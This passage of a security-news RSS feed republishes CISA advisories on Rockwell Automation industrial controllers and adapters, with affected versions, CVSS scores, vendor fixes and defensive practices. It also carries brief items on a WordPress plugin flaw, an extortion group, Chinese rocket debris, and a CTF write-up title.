<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends that customers using the affected software should upgrade to version 4.60.00 or later. Customers who are not able to upgrade to one of the corrected versions, should consider applying the available patch (BF31213) for their current version or applying the recommended security best practices.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1774.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1774.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-16</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Advisory SD1774</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation FLEX I/O EtherNet/IP Adapters]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker to gain unauthorized access, account takeover, and cause loss of availability.
The following versions of Rockwell Automation FLEX I/O EtherNet/IP Adapters are affected:

1794-AENTR V2.012 (CVE-2026-0646, CV...]]></description>
<link>https://tsecurity.de/de/3602511/it-security-nachrichten/rockwell-automation-flex-io-ethernetip-adapters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602511/it-security-nachrichten/rockwell-automation-flex-io-ethernetip-adapters/</guid>
<pubDate>Tue, 16 Jun 2026 18:21:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-167-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker to gain unauthorized access, account takeover, and cause loss of availability.</strong></p>
<p>The following versions of Rockwell Automation FLEX I/O EtherNet/IP Adapters are affected:</p>
<ul>
<li>1794-AENTR V2.012 (CVE-2026-0646, CVE-2026-0647)</li>
<li>1794-AENTRXT V2.012 (CVE-2026-0646, CVE-2026-0647)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.4</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation FLEX I/O EtherNet/IP Adapters</td>
<td>Missing Release of Memory after Effective Lifetime, Missing Authentication for Critical Function</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0646</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists within the 1794-AENTR adapter due to improper memory handling of CIP protocol requests. This vulnerability can result in the adapter faulting and losing connection to its associated I/O modules, requiring a manual reset to recover.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0646">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation FLEX I/O EtherNet/IP Adapters</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1794-AENTR: V2.012, Rockwell Automation 1794-AENTRXT: V2.012</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users update to 2.013 to resolve these vulnerabilities.</p>
<p><strong>Mitigation</strong><br>For more information, please visit Rockwell Automation's SD1775 https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1775.html<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1775.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1775.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0647</a></h3>
<div class="csaf-accordion-content">
<p>An improper authentication security issue exists within the 1794-AENTR adapter's embedded web server. The vulnerability allows an unauthenticated attacker to change the device's web interface password by sending a crafted HTTP GET request to a specific endpoint, without any prior authentication being required. If exploited, this could lead to unauthorized access, account takeover, and loss of the device's embedded web server's availability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0647">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation FLEX I/O EtherNet/IP Adapters</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1794-AENTR: V2.012, Rockwell Automation 1794-AENTRXT: V2.012</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users update to 2.013 to resolve these vulnerabilities.</p>
<p><strong>Mitigation</strong><br>For more information, please visit Rockwell Automation's SD1775 https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1775.html<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1775.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1775.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306 Missing Authentication for Critical Function</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-16</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory SD1775</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation Logix 5370 & 5570 Controllers Vulnerable To Denial of Service Via CIP]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could cause a denial-of-service condition that may result in a major nonrecoverable fault (MNRF).
The following versions of Rockwell Automation Logix 5370 & 5570 Controllers Vulnerable To Denial of Service Via CIP are affected:

Comp...]]></description>
<link>https://tsecurity.de/de/3602510/it-security-nachrichten/rockwell-automation-logix-5370-5570-controllers-vulnerable-to-denial-of-service-via-cip/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602510/it-security-nachrichten/rockwell-automation-logix-5370-5570-controllers-vulnerable-to-denial-of-service-via-cip/</guid>
<pubDate>Tue, 16 Jun 2026 18:21:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-167-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could cause a denial-of-service condition that may result in a major nonrecoverable fault (MNRF).</strong></p>
<p>The following versions of Rockwell Automation Logix 5370 &amp; 5570 Controllers Vulnerable To Denial of Service Via CIP are affected:</p>
<ul>
<li>CompactLogix 5370 &lt;=34.016 (CVE-2026-11317)</li>
<li>Compact GuardLogix 5370 &lt;=35.015 (CVE-2026-11317)</li>
<li>ControlLogix 5570 &lt;=35.015 (CVE-2026-11317)</li>
<li>GuardLogix 5570 36.012 (CVE-2026-11317)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation Logix 5370 &amp; 5570 Controllers Vulnerable To Denial of Service Via CIP</td>
<td>Improper Resource Shutdown or Release</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-11317</a></h3>
<div class="csaf-accordion-content">
<p>A denial of service security issue exists in the affected product. The security issue stems from a fault occurring when a crafted CIP message is sent. Devices with less memory are more likely to be affected. This can result in a major nonrecoverable fault (MNRF). A program download is required to recover.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-11317">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Logix 5370 &amp; 5570 Controllers Vulnerable To Denial of Service Via CIP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation CompactLogix 5370: &lt;=34.016, Rockwell Automation Compact GuardLogix 5370: &lt;=35.015, Rockwell Automation ControlLogix 5570: &lt;=35.015, Rockwell Automation GuardLogix 5570: 36.012</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to update to the following versions: CompactLogix 5370: Versions 34.016 and later</p>
<p><strong>Vendor fix</strong><br>Compact GuardLogix 5370: Versions 35.015 and later</p>
<p><strong>Vendor fix</strong><br>ControlLogix 5570: Versions 36.012 and later</p>
<p><strong>Vendor fix</strong><br>GuardLogix 5570: Versions 37.011 and later</p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisory SD1772 (https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1772.html)<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1772.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1772.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-16</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory SD1772</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silent Ransom Group Threatens US Law Firms With LEAKEDDATA Data Leak Site]]></title>
<description><![CDATA[A financially motivated threat actor known as UNC3753 is aggressively targeting legal, professional, and financial services across the United States. Operating between January and May 2026, this cluster also tracked as Silent Ransom Group, Luna Moth, and Chatty Spider has abandoned traditional ra...]]></description>
<link>https://tsecurity.de/de/3601443/it-security-nachrichten/silent-ransom-group-threatens-us-law-firms-with-leakeddata-data-leak-site/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601443/it-security-nachrichten/silent-ransom-group-threatens-us-law-firms-with-leakeddata-data-leak-site/</guid>
<pubDate>Tue, 16 Jun 2026 12:27:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A financially motivated threat actor known as UNC3753 is aggressively targeting legal, professional, and financial services across the United States. Operating between January and May 2026, this cluster also tracked as Silent Ransom Group, Luna Moth, and Chatty Spider has abandoned traditional ransomware deployment in favor of pure data theft extortion. The group leverages sophisticated […]</p>
<p>The post <a href="https://cyberpress.org/silent-ransom-targets-law-firms/">Silent Ransom Group Threatens US Law Firms With LEAKEDDATA Data Leak Site</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-9187 | zealopensource Abandoned Contact Form 7 Plugin up to 2.2 on WordPress action__remove_abandoned authorization (EUVD-2026-37032)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in zealopensource Abandoned Contact Form 7 Plugin up to 2.2 on WordPress. This issue affects the function action__remove_abandoned. Executing a manipulation can lead to missing authorization.

The identification of this vulnerability is...]]></description>
<link>https://tsecurity.de/de/3601385/sicherheitsluecken/cve-2026-9187-zealopensource-abandoned-contact-form-7-plugin-up-to-22-on-wordpress-actionremoveabandoned-authorization-euvd-2026-37032/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601385/sicherheitsluecken/cve-2026-9187-zealopensource-abandoned-contact-form-7-plugin-up-to-22-on-wordpress-actionremoveabandoned-authorization-euvd-2026-37032/</guid>
<pubDate>Tue, 16 Jun 2026 12:12:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/zealopensource:abandoned_contact_form_7_plugin">zealopensource Abandoned Contact Form 7 Plugin up to 2.2</a> on WordPress. This issue affects the function <code>action__remove_abandoned</code>. Executing a manipulation can lead to missing authorization.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-9187">CVE-2026-9187</a>. The attack may be launched remotely. There is no exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[A Chinese Rocket Breaks Apart Dangerously Close To the Starlink Constellation]]></title>
<description><![CDATA[A Chinese Zhuque-2E rocket's upper stage broke apart shortly after last week's June 9 launch, likely creating 100 to 150 pieces of debris in a busy region of low-Earth orbit crossed by the ISS and lower-altitude Starlink satellites. Most fragments should reenter within months because of atmospher...]]></description>
<link>https://tsecurity.de/de/3600936/it-security-nachrichten/a-chinese-rocket-breaks-apart-dangerously-close-to-the-starlink-constellation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600936/it-security-nachrichten/a-chinese-rocket-breaks-apart-dangerously-close-to-the-starlink-constellation/</guid>
<pubDate>Tue, 16 Jun 2026 09:22:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Chinese Zhuque-2E rocket's upper stage broke apart shortly after last week's June 9 launch, likely creating 100 to 150 pieces of debris in a busy region of low-Earth orbit crossed by the ISS and lower-altitude Starlink satellites. Most fragments should reenter within months because of atmospheric drag, but experts say the incident adds to a worsening trend as China leaves more large rocket bodies in orbit while expanding its launch rate. Ars Technica reports: The US Space Force confirmed the breakup event in a post on space-track.org, a website used by the military to distribute orbit data to the public. "The tracked pieces are being incorporated into routine conjunction assessment to support spaceflight safety," the Space Force wrote in an advisory. "There are currently no threats to human spaceflight. Analysis is ongoing." So far, the Space Force has not added any of the debris fragments to the official catalog of human-made space objects.
 
[...] The bad news is that the Zhuque-2E's breakup is the latest chapter in China's growing contribution to the space junk problem. After decades of leaving spent rocket bodies in orbit, launch operators in most countries now reserve enough fuel to steer their upper stages back to Earth for controlled reentries. Rocket bodies attributed to Russia and the former Soviet Union account for the bulk of the launch-related debris in long-lived orbits, followed by China and the United States. But the Russian and American numbers are declining or holding steady, while the mass of Chinese rocket bodies in these long-lived orbits has grown by more than 150 percent in the past five years, according to a new analysis by Space Domain Awareness expert Jim Shell. The increase comes as China ramps up launches of its own megaconstellations designed to compete with SpaceX's Starlink.
 
Rocket bodies are the most concerning sources of space debris because they are typically fairly large in size and mass, often with residual propellant and high-pressure gases that can trigger an explosion. There is no way to maneuver or dispose of them if left abandoned in orbit after releasing their payloads. McKnight characterized the recent breakup of the Zhuque-2E rocket as a "slight space safety issue," but the trend is not good. China's Long March 6A rocket has an especially bad track record, including two explosions that littered a higher-altitude low-Earth orbit with more than 1,000 debris fragments, where they will remain for decades or centuries. "Three of the top four breakup events in LEO are of Chinese origin, with two of these events being from Chinese (rocket body) explosions in the last four years," McKnight said.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=A+Chinese+Rocket+Breaks+Apart+Dangerously+Close+To+the+Starlink+Constellation%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F06%2F16%2F0539205%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F06%2F16%2F0539205%2Fa-chinese-rocket-breaks-apart-dangerously-close-to-the-starlink-constellation%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/06/16/0539205/a-chinese-rocket-breaks-apart-dangerously-close-to-the-starlink-constellation?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CAT Reloaded CTF — CATF 2025  — DFIR Challenges]]></title>
<description><![CDATA[CAT Reloaded CTF — CATF 2025–DFIR ChallengesHappy to share with you my writeup for solving 4 DFIR challenges out of 5 (last chall has 0 solves💀) in CAT Reloaded CTF — CATF 2025.You can read this writeup on my GitBook account LinkChallenge 1 “Index of Secrets”:from the challenge description, we ne...]]></description>
<link>https://tsecurity.de/de/3600903/hacking/cat-reloaded-ctf-catf-2025-dfir-challenges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600903/hacking/cat-reloaded-ctf-catf-2025-dfir-challenges/</guid>
<pubDate>Tue, 16 Jun 2026 09:09:19 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
